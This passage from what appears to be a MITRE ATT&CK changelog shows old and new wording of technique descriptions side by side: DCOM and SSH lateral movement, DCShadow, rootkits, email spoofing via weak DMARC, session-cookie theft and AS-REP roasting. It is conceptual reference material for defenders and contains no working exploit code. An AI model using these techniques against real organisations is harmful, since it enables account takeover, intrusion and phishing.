logged-on user. \\n\\nMany enterprises federate centrally managed user identities to cloud services, allowing users to login with their domain credentials in order to access the cloud control plane. Similarly, adversaries may connect to available cloud services through the web console or through the cloud command line interface (CLI) (e.g., [Cloud API](https://attack.mitre.org/techniques/T1059/009)), using commands such as Connect-AZAccount for Azure PowerShell, Connect-MgGraph for Microsoft Graph PowerShell, and gcloud auth login for the Google Cloud CLI.\\n\\nIn some cases, adversaries may be able to authenticate to these services via [Application Access Token](https://attack.mitre.org/techniques/T1550/001) instead of a username and password. \", \"diff\": \"--- \\n+++ \\n@@ -1,5 +1,5 @@\\n Adversaries may log into accessible cloud services within a compromised environment using [Valid Accounts](https://attack.mitre.org/techniques/T1078) that are synchronized with or federated to on-premises user identities. The adversary may then perform management actions or access cloud-hosted resources as the logged-on user. \\n \\n-Many enterprises federate centrally managed user identities to cloud services, allowing users to login with their domain credentials in order to access the cloud control plane. Similarly, adversaries may connect to available cloud services through the web console or through the cloud command line interface (CLI) (e.g., [Cloud API](https://attack.mitre.org/techniques/T1059/009)), using commands such as Connect-AZAccount for Azure PowerShell, Connect-MgGraph for Microsoft Graph PowerShell, and gcloud auth login for the Google Cloud CLI.\\n+Many enterprises federate centrally managed user identities to cloud services, allowing users to log in with their domain credentials in order to access the cloud control plane. Similarly, adversaries may connect to available cloud services through the web console or through the cloud command line interface (CLI) (e.g., [Cloud API](https://attack.mitre.org/techniques/T1059/009)), using commands such as Connect-AZAccount for Azure PowerShell, Connect-MgGraph for Microsoft Graph PowerShell, and gcloud auth login for the Google Cloud CLI.\\n \\n In some cases, adversaries may be able to authenticate to these services via [Application Access Token](https://attack.mitre.org/techniques/T1550/001) instead of a username and password. \"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}}",
"previous_version": "1.1",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may log into accessible cloud services within a | t | 1 | Adversaries may log into accessible cloud services within a |
| > | compromised environment using [Valid Accounts](https://attac | > | compromised environment using [Valid Accounts](https://attac | ||
| > | k.mitre.org/techniques/T1078) that are synchronized with or | > | k.mitre.org/techniques/T1078) that are synchronized with or | ||
| > | federated to on-premises user identities. The adversary may | > | federated to on-premises user identities. The adversary may | ||
| > | then perform management actions or access cloud-hosted resou | > | then perform management actions or access cloud-hosted resou | ||
| > | rces as the logged-on user. Many enterprises federate cent | > | rces as the logged-on user. Many enterprises federate cent | ||
| > | rally managed user identities to cloud services, allowing us | > | rally managed user identities to cloud services, allowing us | ||
| > | ers to login with their domain credentials in order to acces | > | ers to log in with their domain credentials in order to acce | ||
| > | s the cloud control plane. Similarly, adversaries may connec | > | ss the cloud control plane. Similarly, adversaries may conne | ||
| > | t to available cloud services through the web console or thr | > | ct to available cloud services through the web console or th | ||
| > | ough the cloud command line interface (CLI) (e.g., [Cloud AP | > | rough the cloud command line interface (CLI) (e.g., [Cloud A | ||
| > | I](https://attack.mitre.org/techniques/T1059/009)), using co | > | PI](https://attack.mitre.org/techniques/T1059/009)), using c | ||
| > | mmands such as <code>Connect-AZAccount</code> for Azure Powe | > | ommands such as <code>Connect-AZAccount</code> for Azure Pow | ||
| > | rShell, <code>Connect-MgGraph</code> for Microsoft Graph Pow | > | erShell, <code>Connect-MgGraph</code> for Microsoft Graph Po | ||
| > | erShell, and <code>gcloud auth login</code> for the Google C | > | werShell, and <code>gcloud auth login</code> for the Google | ||
| > | loud CLI. In some cases, adversaries may be able to authent | > | Cloud CLI. In some cases, adversaries may be able to authen | ||
| > | icate to these services via [Application Access Token](https | > | ticate to these services via [Application Access Token](http | ||
| > | ://attack.mitre.org/techniques/T1550/001) instead of a usern | > | s://attack.mitre.org/techniques/T1550/001) instead of a user | ||
| > | ame and password. | > | name and password. |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use [Valid Accounts](https://attack.mitre.or | t | 1 | Adversaries may use [Valid Accounts](https://attack.mitre.or |
| > | g/techniques/T1078) to interact with remote machines by taki | > | g/techniques/T1078) to interact with remote machines by taki | ||
| > | ng advantage of Distributed Component Object Model (DCOM). T | > | ng advantage of Distributed Component Object Model (DCOM). T | ||
| > | he adversary may then perform actions as the logged-on user. | > | he adversary may then perform actions as the logged-on user. | ||
| > | The Windows Component Object Model (COM) is a component of | > | The Windows Component Object Model (COM) is a component of | ||
| > | the native Windows application programming interface (API) | > | the native Windows application programming interface (API) | ||
| > | that enables interaction between software objects, or execut | > | that enables interaction between software objects, or execut | ||
| > | able code that implements one or more interfaces. Through CO | > | able code that implements one or more interfaces. Through CO | ||
| > | M, a client object can call methods of server objects, which | > | M, a client object can call methods of server objects, which | ||
| > | are typically Dynamic Link Libraries (DLL) or executables ( | > | are typically Dynamic Link Libraries (DLL) or executables ( | ||
| > | EXE). Distributed COM (DCOM) is transparent middleware that | > | EXE). Distributed COM (DCOM) is transparent middleware that | ||
| > | extends the functionality of COM beyond a local computer usi | > | extends the functionality of COM beyond a local computer usi | ||
| > | ng remote procedure call (RPC) technology.(Citation: Fireeye | > | ng remote procedure call (RPC) technology.(Citation: Fireeye | ||
| > | Hunting COM June 2019)(Citation: Microsoft COM) Permission | > | Hunting COM June 2019)(Citation: Microsoft COM) Permission | ||
| > | s to interact with local and remote server COM objects are s | > | s to interact with local and remote server COM objects are s | ||
| > | pecified by access control lists (ACL) in the Registry.(Cita | > | pecified by access control lists (ACL) in the Registry.(Cita | ||
| > | tion: Microsoft Process Wide Com Keys) By default, only Admi | > | tion: Microsoft Process Wide Com Keys) By default, only Admi | ||
| > | nistrators may remotely activate and launch COM objects thro | > | nistrators may remotely activate and launch COM objects thro | ||
| > | ugh DCOM.(Citation: Microsoft COM ACL) Through DCOM, advers | > | ugh DCOM.(Citation: Microsoft COM ACL) Through DCOM, advers | ||
| > | aries operating in the context of an appropriately privilege | > | aries operating in the context of an appropriately privilege | ||
| > | d user can remotely obtain arbitrary and even direct shellco | > | d user can remotely obtain arbitrary and even direct shellco | ||
| > | de execution through Office applications(Citation: Enigma Ou | > | de execution through Office applications(Citation: Enigma Ou | ||
| > | tlook DCOM Lateral Movement Nov 2017) as well as other Windo | > | tlook DCOM Lateral Movement Nov 2017) as well as other Windo | ||
| > | ws objects that contain insecure methods.(Citation: Enigma M | > | ws objects that contain insecure methods.(Citation: Enigma M | ||
| > | MC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Ja | > | MC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Ja | ||
| > | n 2017) DCOM can also execute macros in existing documents(C | > | n 2017) DCOM can also execute macros in existing documents(C | ||
| > | itation: Enigma Excel DCOM Sept 2017) and may also invoke [D | > | itation: Enigma Excel DCOM Sept 2017) and may also invoke [D | ||
| > | ynamic Data Exchange](https://attack.mitre.org/techniques/T1 | > | ynamic Data Exchange](https://attack.mitre.org/techniques/T1 | ||
| > | 559/002) (DDE) execution directly through a COM created inst | > | 559/002) (DDE) execution directly through a COM created inst | ||
| > | ance of a Microsoft Office application(Citation: Cyberreason | > | ance of a Microsoft Office application(Citation: Cyberreason | ||
| > | DCOM DDE Lateral Movement Nov 2017), bypassing the need for | > | DCOM DDE Lateral Movement Nov 2017), bypassing the need for | ||
| > | a malicious document. DCOM can be used as a method of remot | > | a malicious document. DCOM can be used as a method of remot | ||
| > | ely interacting with [Windows Management Instrumentation](ht | > | ely interacting with [Windows Management Instrumentation](ht | ||
| > | tps://attack.mitre.org/techniques/T1047). (Citation: MSDN WM | > | tps://attack.mitre.org/techniques/T1047).(Citation: MSDN WMI | ||
| > | I) | > | ) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use [Valid Accounts](https://attack.mitre.or | t | 1 | Adversaries may use [Valid Accounts](https://attack.mitre.or |
| > | g/techniques/T1078) to log into remote machines using Secure | > | g/techniques/T1078) to log into remote machines using Secure | ||
| > | Shell (SSH). The adversary may then perform actions as the | > | Shell (SSH). The adversary may then perform actions as the | ||
| > | logged-on user. SSH is a protocol that allows authorized us | > | logged-on user. SSH is a protocol that allows authorized us | ||
| > | ers to open remote shells on other computers. Many Linux and | > | ers to open remote shells on other computers. Many Linux and | ||
| > | macOS versions come with SSH installed by default, although | > | macOS versions come with SSH installed by default, although | ||
| > | typically disabled until the user enables it. On ESXi, SSH | > | typically disabled until the user enables it. On ESXi, SSH | ||
| > | can be enabled either directly on the host (e.g., via `vim-c | > | can be enabled either directly on the host (e.g., via `vim-c | ||
| > | md hostsvc/enable_ssh`) or via vCenter.(Citation: Sygnia ESX | > | md hostsvc/enable_ssh`) or via vCenter.(Citation: Sygnia ESX | ||
| > | i Ransomware 2025)(Citation: TrendMicro ESXI Ransomware)(Cit | > | i Ransomware 2025)(Citation: TrendMicro ESXI Ransomware)(Cit | ||
| > | ation: Sygnia Abyss Locker 2025) Modern versions of Windows | > | ation: Sygnia Abyss Locker 2025) Modern versions of Windows | ||
| > | include a built-in SSH server and client.(Citation: Windows | > | include a built-in SSH server and client.(Citation: Windows | ||
| > | SSH) The SSH server can be configured to use standard passwo | > | SSH) The SSH server can be configured to use standard passwo | ||
| > | rd authentication or public-private keypairs in lieu of or i | > | rd authentication or public-private keypairs in lieu of or i | ||
| > | n addition to a password. In this authentication scenario, t | > | n addition to a password. In this authentication scenario, t | ||
| > | he user\u2019s public key must be in a special file on the comput | > | he user\u2019s public key must be in a special file on the comput | ||
| > | er running the server that lists which keypairs are allowed | > | er running the server that lists which keypairs are allowed | ||
| > | to login as that user (i.e., [SSH Authorized Keys](https://a | > | to log in as that user (i.e., [SSH Authorized Keys](https:// | ||
| > | ttack.mitre.org/techniques/T1098/004)). | > | attack.mitre.org/techniques/T1098/004)). |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may register a rogue Domain Controller to enable | t | 1 | Adversaries may register a rogue Domain Controller to enable |
| > | manipulation of Active Directory data. DCShadow may be used | > | manipulation of Active Directory data. DCShadow may be used | ||
| > | to create a rogue Domain Controller (DC). DCShadow is a met | > | to create a rogue Domain Controller (DC). DCShadow is a met | ||
| > | hod of manipulating Active Directory (AD) data, including ob | > | hod of manipulating Active Directory (AD) data, including ob | ||
| > | jects and schemas, by registering (or reusing an inactive re | > | jects and schemas, by registering (or reusing an inactive re | ||
| > | gistration) and simulating the behavior of a DC. (Citation: | > | gistration) and simulating the behavior of a DC.(Citation: D | ||
| > | DCShadow Blog) Once registered, a rogue DC may be able to in | > | CShadow Blog) Once registered, a rogue DC may be able to inj | ||
| > | ject and replicate changes into AD infrastructure for any do | > | ect and replicate changes into AD infrastructure for any dom | ||
| > | main object, including credentials and keys. Registering a | > | ain object, including credentials and keys. Registering a r | ||
| > | rogue DC involves creating a new server and nTDSDSA objects | > | ogue DC involves creating a new server and nTDSDSA objects i | ||
| > | in the Configuration partition of the AD schema, which requi | > | n the Configuration partition of the AD schema, which requir | ||
| > | res Administrator privileges (either Domain or local to the | > | es Administrator privileges (either Domain or local to the D | ||
| > | DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide | > | C) or the KRBTGT hash.(Citation: Adsecurity Mimikatz Guide) | ||
| > | ) This technique may bypass system logging and security mon | > | This technique may bypass system logging and security monit | ||
| > | itors such as security information and event management (SIE | > | ors such as security information and event management (SIEM) | ||
| > | M) products (since actions taken on a rogue DC may not be re | > | products (since actions taken on a rogue DC may not be repo | ||
| > | ported to these sensors). (Citation: DCShadow Blog) The tech | > | rted to these sensors).(Citation: DCShadow Blog) The techniq | ||
| > | nique may also be used to alter and delete replication and o | > | ue may also be used to alter and delete replication and othe | ||
| > | ther associated metadata to obstruct forensic analysis. Adve | > | r associated metadata to obstruct forensic analysis. Adversa | ||
| > | rsaries may also utilize this technique to perform [SID-Hist | > | ries may also utilize this technique to perform [SID-History | ||
| > | ory Injection](https://attack.mitre.org/techniques/T1134/005 | > | Injection](https://attack.mitre.org/techniques/T1134/005) a | ||
| > | ) and/or manipulate AD objects (such as accounts, access con | > | nd/or manipulate AD objects (such as accounts, access contro | ||
| > | trol lists, schemas) to establish backdoors for Persistence. | > | l lists, schemas) to establish backdoors for Persistence.(Ci | ||
| > | (Citation: DCShadow Blog) | > | tation: DCShadow Blog) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use rootkits to hide the presence of program | t | 1 | Adversaries may use rootkits to hide the presence of program |
| > | s, files, network connections, services, drivers, and other | > | s, files, network connections, services, drivers, and other | ||
| > | system components. Rootkits are programs that hide the exist | > | system components. Rootkits are programs that hide the exist | ||
| > | ence of malware by intercepting/hooking and modifying operat | > | ence of malware by intercepting/hooking and modifying operat | ||
| > | ing system API calls that supply system information. (Citati | > | ing system API calls that supply system information.(Citatio | ||
| > | on: Symantec Windows Rootkits) Rootkits or rootkit enablin | > | n: Symantec Windows Rootkits) Rootkits or rootkit enabling | ||
| > | g functionality may reside at the user or kernel level in th | > | functionality may reside at the user or kernel level in the | ||
| > | e operating system or lower, to include a hypervisor or [Sys | > | operating system or lower, to include a hypervisor or [Syst | ||
| > | tem Firmware](https://attack.mitre.org/techniques/T1542/001) | > | em Firmware](https://attack.mitre.org/techniques/T1542/001). | ||
| > | . (Citation: Wikipedia Rootkit) Rootkits have been seen for | > | (Citation: Wikipedia Rootkit) Rootkits have been seen for Wi | ||
| > | Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike | > | ndows, Linux, and Mac OS X systems.(Citation: CrowdStrike Li | ||
| > | Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit) Rootki | > | nux Rootkit)(Citation: BlackHat Mac OSX Rootkit) Rootkits t | ||
| > | ts that reside or modify boot sectors are known as [Bootkit] | > | hat reside or modify boot sectors are known as [Bootkit](htt | ||
| > | (https://attack.mitre.org/techniques/T1542/003)s and specifi | > | ps://attack.mitre.org/techniques/T1542/003)s and specificall | ||
| > | cally target the boot process of the operating system. | > | y target the boot process of the operating system. |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may search freely available websites and/or doma | t | 1 | Adversaries may search freely available websites and/or doma |
| > | ins for information about victims that can be used during ta | > | ins for information about victims that can be used during ta | ||
| > | rgeting. Information about victims may be available in vario | > | rgeting. Information about victims may be available in vario | ||
| > | us online sites, such as social media, new sites, or those h | > | us online sites, such as social media, news sites, or those | ||
| > | osting information about business operations such as hiring | > | hosting information about business operations such as hiring | ||
| > | or requested/rewarded contracts.(Citation: Cyware Social Med | > | or requested/rewarded contracts.(Citation: Cyware Social Me | ||
| > | ia)(Citation: SecurityTrails Google Hacking)(Citation: Explo | > | dia)(Citation: SecurityTrails Google Hacking)(Citation: Expl | ||
| > | itDB GoogleHacking) Adversaries may search in different onl | > | oitDB GoogleHacking) Adversaries may search in different on | ||
| > | ine sites depending on what information they seek to gather. | > | line sites depending on what information they seek to gather | ||
| > | Information from these sources may reveal opportunities for | > | . Information from these sources may reveal opportunities fo | ||
| > | other forms of reconnaissance (ex: [Phishing for Informatio | > | r other forms of reconnaissance (ex: [Phishing for Informati | ||
| > | n](https://attack.mitre.org/techniques/T1598) or [Search Ope | > | on](https://attack.mitre.org/techniques/T1598) or [Search Op | ||
| > | n Technical Databases](https://attack.mitre.org/techniques/T | > | en Technical Databases](https://attack.mitre.org/techniques/ | ||
| > | 1596)), establishing operational resources (ex: [Establish A | > | T1596)), establishing operational resources (ex: [Establish | ||
| > | ccounts](https://attack.mitre.org/techniques/T1585) or [Comp | > | Accounts](https://attack.mitre.org/techniques/T1585) or [Com | ||
| > | romise Accounts](https://attack.mitre.org/techniques/T1586)) | > | promise Accounts](https://attack.mitre.org/techniques/T1586) | ||
| > | , and/or initial access (ex: [External Remote Services](http | > | ), and/or initial access (ex: [External Remote Services](htt | ||
| > | s://attack.mitre.org/techniques/T1133) or [Phishing](https:/ | > | ps://attack.mitre.org/techniques/T1133) or [Phishing](https: | ||
| > | /attack.mitre.org/techniques/T1566)). | > | //attack.mitre.org/techniques/T1566)). |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use search engines to collect information ab | t | 1 | Adversaries may use search engines to collect information ab |
| > | out victims that can be used during targeting. Search engine | > | out victims that can be used during targeting. Search engine | ||
| > | services typical crawl online sites to index context and ma | > | services typically crawl online sites to index content and | ||
| > | y provide users with specialized syntax to search for specif | > | may provide users with specialized syntax to search for spec | ||
| > | ic keywords or specific types of content (i.e. filetypes).(C | > | ific keywords or specific types of content (i.e. filetypes). | ||
| > | itation: SecurityTrails Google Hacking)(Citation: ExploitDB | > | (Citation: SecurityTrails Google Hacking)(Citation: ExploitD | ||
| > | GoogleHacking) Adversaries may craft various search engine | > | B GoogleHacking) Adversaries may craft various search engin | ||
| > | queries depending on what information they seek to gather. T | > | e queries depending on what information they seek to gather. | ||
| > | hreat actors may use search engines to harvest general infor | > | Threat actors may use search engines to harvest general inf | ||
| > | mation about victims, as well as use specialized queries to | > | ormation about victims, as well as use specialized queries t | ||
| > | look for spillages/leaks of sensitive information such as ne | > | o look for spillages/leaks of sensitive information such as | ||
| > | twork details or credentials. Information from these sources | > | network details or credentials. Information from these sourc | ||
| > | may reveal opportunities for other forms of reconnaissance | > | es may reveal opportunities for other forms of reconnaissanc | ||
| > | (ex: [Phishing for Information](https://attack.mitre.org/tec | > | e (ex: [Phishing for Information](https://attack.mitre.org/t | ||
| > | hniques/T1598) or [Search Open Technical Databases](https:// | > | echniques/T1598) or [Search Open Technical Databases](https: | ||
| > | attack.mitre.org/techniques/T1596)), establishing operationa | > | //attack.mitre.org/techniques/T1596)), establishing operatio | ||
| > | l resources (ex: [Establish Accounts](https://attack.mitre.o | > | nal resources (ex: [Establish Accounts](https://attack.mitre | ||
| > | rg/techniques/T1585) or [Compromise Accounts](https://attack | > | .org/techniques/T1585) or [Compromise Accounts](https://atta | ||
| > | .mitre.org/techniques/T1586)), and/or initial access (ex: [V | > | ck.mitre.org/techniques/T1586)), and/or initial access (ex: | ||
| > | alid Accounts](https://attack.mitre.org/techniques/T1078) or | > | [Valid Accounts](https://attack.mitre.org/techniques/T1078) | ||
| > | [Phishing](https://attack.mitre.org/techniques/T1566)). | > | or [Phishing](https://attack.mitre.org/techniques/T1566)). |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may search social media for information about vi | t | 1 | Adversaries may search social media for information about vi |
| > | ctims that can be used during targeting. Social media sites | > | ctims that can be used during targeting. Social media sites | ||
| > | may contain various information about a victim organization, | > | may contain various information about a victim organization, | ||
| > | such as business announcements as well as information about | > | such as business announcements as well as information about | ||
| > | the roles, locations, and interests of staff. Adversaries | > | the roles, locations, and interests of staff. Adversaries | ||
| > | may search in different social media sites depending on what | > | may search in different social media sites depending on what | ||
| > | information they seek to gather. Threat actors may passivel | > | information they seek to gather. Threat actors may passivel | ||
| > | y harvest data from these sites, as well as use information | > | y harvest data from these sites, as well as use information | ||
| > | gathered to create fake profiles/groups to elicit victim\u2019s i | > | gathered to create fake profiles/groups to entice victims in | ||
| > | nto revealing specific information (i.e. [Spearphishing Serv | > | to revealing specific information (i.e. [Spearphishing Servi | ||
| > | ice](https://attack.mitre.org/techniques/T1598/001)).(Citati | > | ce](https://attack.mitre.org/techniques/T1598/001)).(Citatio | ||
| > | on: Cyware Social Media) Information from these sources may | > | n: Cyware Social Media) Information from these sources may r | ||
| > | reveal opportunities for other forms of reconnaissance (ex: | > | eveal opportunities for other forms of reconnaissance (ex: [ | ||
| > | [Phishing for Information](https://attack.mitre.org/techniqu | > | Phishing for Information](https://attack.mitre.org/technique | ||
| > | es/T1598) or [Search Open Technical Databases](https://attac | > | s/T1598) or [Search Open Technical Databases](https://attack | ||
| > | k.mitre.org/techniques/T1596)), establishing operational res | > | .mitre.org/techniques/T1596)), establishing operational reso | ||
| > | ources (ex: [Establish Accounts](https://attack.mitre.org/te | > | urces (ex: [Establish Accounts](https://attack.mitre.org/tec | ||
| > | chniques/T1585) or [Compromise Accounts](https://attack.mitr | > | hniques/T1585) or [Compromise Accounts](https://attack.mitre | ||
| > | e.org/techniques/T1586)), and/or initial access (ex: [Spearp | > | .org/techniques/T1586)), and/or initial access (ex: [Spearph | ||
| > | hishing via Service](https://attack.mitre.org/techniques/T15 | > | ishing via Service](https://attack.mitre.org/techniques/T156 | ||
| > | 66/003)). | > | 6/003)). |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may fake, or spoof, a sender\u2019s identity by modif | t | 1 | Adversaries may fake, or spoof, a sender\u2019s identity by modif |
| > | ying the value of relevant email headers in order to establi | > | ying the value of relevant email headers in order to establi | ||
| > | sh contact with victims under false pretenses.(Citation: Pro | > | sh contact with victims under false pretenses.(Citation: Pro | ||
| > | ofpoint TA427 April 2024)\u00a0In addition to actual email conten | > | ofpoint TA427 April 2024)\u00a0In addition to actual email conten | ||
| > | t, email headers (such as the FROM header, which contains th | > | t, email headers (such as the FROM header, which contains th | ||
| > | e email address of the sender) may also be modified. Email c | > | e email address of the sender) may also be modified. Email c | ||
| > | lients display these headers when emails appear in a victim' | > | lients display these headers when emails appear in a victim' | ||
| > | s inbox, which may cause modified emails to appear as if the | > | s inbox, which may cause modified emails to appear as if the | ||
| > | y were from the spoofed entity. Enterprise environments can | > | y were from the spoofed entity. Enterprise environments can | ||
| > | use Domain-based Message Authentication, Reporting, and Con | > | use Domain-based Message Authentication, Reporting, and Con | ||
| > | formance (DMARC) as an email authentication protocol that re | > | formance (DMARC) as an email authentication protocol that re | ||
| > | ferences results of the Sender Policy Framework (SPF) and Do | > | ferences results of the Sender Policy Framework (SPF) and Do | ||
| > | mainKeys Identified Mail (DKIM) configurations. SPF and DKIM | > | mainKeys Identified Mail (DKIM) configurations. SPF and DKIM | ||
| > | are configured separately in DNS: SPF verifies that the sen | > | are configured separately in DNS: SPF verifies that the sen | ||
| > | ding server is authorized for the domain, while DKIM uses a | > | ding server is authorized for the domain, while DKIM uses a | ||
| > | digital signature to verify email integrity and domain authe | > | digital signature to verify email integrity and domain authe | ||
| > | ntication. Together, they validate email authenticity and sp | > | ntication. Together, they validate email authenticity and sp | ||
| > | ecify how receiving servers should handle authentication fai | > | ecify how receiving servers should handle authentication fai | ||
| > | lures. Without enforced identity authentication, adversaries | > | lures. Without enforced identity authentication, adversaries | ||
| > | may compromise the integrity of an authentication check wit | > | may compromise the integrity of an authentication check wit | ||
| > | h altered headers that would not have otherwise passed.(Cita | > | h altered headers that would not have otherwise passed.(Cita | ||
| > | tion: Cloudflare DMARC, DKIM, and SPF)(Citation: DMARC-overv | > | tion: Cloudflare DMARC, DKIM, and SPF)(Citation: DMARC-overv | ||
| > | iew)(Citation: Proofpoint-DMARC) An example of a weak or ab | > | iew)(Citation: Proofpoint-DMARC) An example of a weak or ab | ||
| > | sent DMARC policy is `v=DMARC1; p=none; fo=1;`. The `p=none` | > | sent DMARC policy is `v=DMARC1; p=none; fo=1;`. The `p=none` | ||
| > | . The `p=none` indicates no action should be taken, and ther | > | indicates no action should be taken, and therefore no filte | ||
| > | efore no filtering action will take place, even if an email | > | ring action will take place, even if an email fails authenti | ||
| > | fails authentication checks (i.e., SPF and/or DKIM fail). Wh | > | cation checks (i.e., SPF and/or DKIM fail). When a DMARC pol | ||
| > | en a DMARC policy indicates no action, the email will still | > | icy indicates no action, the email will still be delivered t | ||
| > | be delivered to the victim\u2019s inbox.(Citation: ic3-dprk) Ad | > | o the victim\u2019s inbox.(Citation: ic3-dprk) Adversaries have | ||
| > | versaries have abused weak or absent DMARC policies to circu | > | abused weak or absent DMARC policies to circumvent authenti | ||
| > | mvent authentication checks and conceal social engineering a | > | cation checks and conceal social engineering attempts. Adver | ||
| > | ttempts. Adversaries can alter email headers to include legi | > | saries can alter email headers to include legitimate domain | ||
| > | timate domain names with fake usernames or impersonate legit | > | names with fake usernames or impersonate legitimate users vi | ||
| > | imate users via [Impersonation](https://attack.mitre.org/tec | > | a [Impersonation](https://attack.mitre.org/techniques/T1684/ | ||
| > | hniques/T1684/001) for [Phishing](https://attack.mitre.org/t | > | 001) for [Phishing](https://attack.mitre.org/techniques/T156 | ||
| > | echniques/T1566). Additionally, adversaries may abuse Micros | > | 6). Additionally, adversaries may abuse Microsoft 365\u2019s Dire | ||
| > | oft 365\u2019s Direct Send functionality to spoof internal users | > | ct Send functionality to spoof internal users by using inter | ||
| > | by using internal devices like printers to send emails witho | > | nal devices like printers to send emails without authenticat | ||
| > | ut authentication.(Citation: Barnea DirectSend) | > | ion.(Citation: Barnea DirectSend) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | An adversary may steal web application or service session co | t | 1 | An adversary may steal web application or service session co |
| > | okies and use them to gain access to web applications or Int | > | okies and use them to gain access to web applications or Int | ||
| > | ernet services as an authenticated user without needing cred | > | ernet services as an authenticated user without needing cred | ||
| > | entials. Web applications and services often use session coo | > | entials. Web applications and services often use session coo | ||
| > | kies as an authentication token after a user has authenticat | > | kies as an authentication token after a user has authenticat | ||
| > | ed to a website. Cookies are often valid for an extended pe | > | ed to a website. Cookies are often valid for an extended pe | ||
| > | riod of time, even if the web application is not actively us | > | riod of time, even if the web application is not actively us | ||
| > | ed. Cookies can be found on disk, in the process memory of t | > | ed. Cookies can be found on disk, in the process memory of t | ||
| > | he browser, and in network traffic to remote systems. Additi | > | he browser, and in network traffic to remote systems. Additi | ||
| > | onally, other applications on the targets machine might stor | > | onally, other applications on the targets machine might stor | ||
| > | e sensitive authentication cookies in memory (e.g. apps whic | > | e sensitive authentication cookies in memory (e.g. apps whic | ||
| > | h authenticate to cloud services). Session cookies can be us | > | h authenticate to cloud services). Session cookies can be us | ||
| > | ed to bypasses some multi-factor authentication protocols.(C | > | ed to bypasses some multi-factor authentication protocols.(C | ||
| > | itation: Pass The Cookie) There are several examples of mal | > | itation: Pass The Cookie) There are several examples of mal | ||
| > | ware targeting cookies from web browsers on the local system | > | ware targeting cookies from web browsers on the local system | ||
| > | .(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 | > | .(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 | ||
| > | Mac Crypto Cookies January 2019) Adversaries may also steal | > | Mac Crypto Cookies January 2019) Adversaries may also steal | ||
| > | cookies by injecting malicious JavaScript content into webs | > | cookies by injecting malicious JavaScript content into webs | ||
| > | ites or relying on [User Execution](https://attack.mitre.org | > | ites or relying on [User Execution](https://attack.mitre.org | ||
| > | /techniques/T1204) by tricking victims into running maliciou | > | /techniques/T1204) by tricking victims into running maliciou | ||
| > | s JavaScript in their browser.(Citation: Talos Roblox Scam 2 | > | s JavaScript in their browser.(Citation: Talos Roblox Scam 2 | ||
| > | 023)(Citation: Krebs Discord Bookmarks 2023) There are also | > | 023)(Citation: Krebs Discord Bookmarks 2023) There are also | ||
| > | open source frameworks such as `Evilginx2` and `Muraena` th | > | open source frameworks such as `Evilginx2` and `Muraena` th | ||
| > | at can gather session cookies through a malicious proxy (e.g | > | at can gather session cookies through a malicious proxy (e.g | ||
| > | ., [Adversary-in-the-Middle](https://attack.mitre.org/techni | > | ., [Adversary-in-the-Middle](https://attack.mitre.org/techni | ||
| > | ques/T1557)) that can be set up by an adversary and used in | > | ques/T1557)) that can be set up by an adversary and used in | ||
| > | phishing campaigns.(Citation: Github evilginx2)(Citation: Gi | > | phishing campaigns.(Citation: Github evilginx2)(Citation: Gi | ||
| > | tHub Mauraena) After an adversary acquires a valid cookie, | > | tHub Mauraena) After an adversary acquires a valid cookie, | ||
| > | they can then perform a [Web Session Cookie](https://attack. | > | they can then perform a [Web Session Cookie](https://attack. | ||
| > | mitre.org/techniques/T1550/004) technique to login to the co | > | mitre.org/techniques/T1550/004) technique to log in to the c | ||
| > | rresponding web application. | > | orresponding web application. |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may reveal credentials of accounts that have dis | t | 1 | Adversaries may reveal credentials of accounts that have dis |
| > | abled Kerberos preauthentication by [Password Cracking](http | > | abled Kerberos preauthentication by [Password Cracking](http | ||
| > | s://attack.mitre.org/techniques/T1110/002) Kerberos messages | > | s://attack.mitre.org/techniques/T1110/002) Kerberos messages | ||
| > | .(Citation: Harmj0y Roasting AS-REPs Jan 2017) Preauthenti | > | .(Citation: Harmj0y Roasting AS-REPs Jan 2017) Preauthenti | ||
| > | cation offers protection against offline [Password Cracking] | > | cation offers protection against offline [Password Cracking] | ||
| > | (https://attack.mitre.org/techniques/T1110/002). When enable | > | (https://attack.mitre.org/techniques/T1110/002). When enable | ||
| > | d, a user requesting access to a resource initiates communic | > | d, a user requesting access to a resource initiates communic | ||
| > | ation with the Domain Controller (DC) by sending an Authenti | > | ation with the Domain Controller (DC) by sending an Authenti | ||
| > | cation Server Request (AS-REQ) message with a timestamp that | > | cation Server Request (AS-REQ) message with a timestamp that | ||
| > | is encrypted with the hash of their password. If and only i | > | is encrypted with the hash of their password. If and only i | ||
| > | f the DC is able to successfully decrypt the timestamp with | > | f the DC is able to successfully decrypt the timestamp with | ||
| > | the hash of the user\u2019s password, it will then send an Authen | > | the hash of the user\u2019s password, it will then send an Authen | ||
| > | tication Server Response (AS-REP) message that contains the | > | tication Server Response (AS-REP) message that contains the | ||
| > | Ticket Granting Ticket (TGT) to the user. Part of the AS-REP | > | Ticket Granting Ticket (TGT) to the user. Part of the AS-REP | ||
| > | message is signed with the user\u2019s password.(Citation: Micro | > | message is signed with the user\u2019s password.(Citation: Micro | ||
| > | soft Kerberos Preauth 2014) For each account found without | > | soft Kerberos Preauth 2014) For each account found without | ||
| > | preauthentication, an adversary may send an AS-REQ message w | > | preauthentication, an adversary may send an AS-REQ message w | ||
